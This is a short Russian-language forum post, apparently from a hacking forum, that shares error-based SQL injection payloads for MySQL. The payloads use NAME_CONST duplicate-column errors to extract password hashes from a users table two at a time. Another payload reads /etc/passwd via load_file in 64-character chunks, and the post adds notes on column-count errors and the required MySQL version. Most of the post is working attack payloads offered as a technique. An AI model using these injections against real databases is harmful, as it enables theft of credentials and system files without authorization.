Можно и еще быстрее. (: Например, если получать по 2 хеша за запрос:
-1 UNION SELECT * FROM (SELECT * FROM (SELECT NAME_CONST((SELECT GROUP_CONCAT(password SEPARATOR '') FROM cr0w.users LIMIT 2),14)d)t
JOIN (SELECT NAME_CONST((SELECT GROUP_CONCAT(password SEPARATOR '') FROM cr0w.users LIMIT 2),14)e)b)a;
Если, конечно, мы имеем дело с 32х-символьными хешами. (;
add:
А еще этим способом можно, например, более-менее сносно читать файлы:
-1 UNION SELECT * FROM (SELECT * FROM (SELECT NAME_CONST(substr(load_file('/etc/passwd'),1),1)r)e2
JOIN (SELECT NAME_CONST(substr(load_file('/etc/passwd'),1),1)qw)az)ar;
перемещая 64х-символьное "окно" по файлу, увеличивая на 64 второй параметр в substr()'ах.
Сообщение от
Qwazar
И т.д., когда переберём все столбцы, вернётся:
#1222 - The used SELECT statements have a different number of columns
Отмечу, что это в случае, если в таблице news и users разное количество столбцов. При одинаковом - запрос просто нормально выполнится.
Сообщение от
Qwazar
Требования: MySQL=5.0.*,
Если быть более точными, нужен MySQL=>5.0.12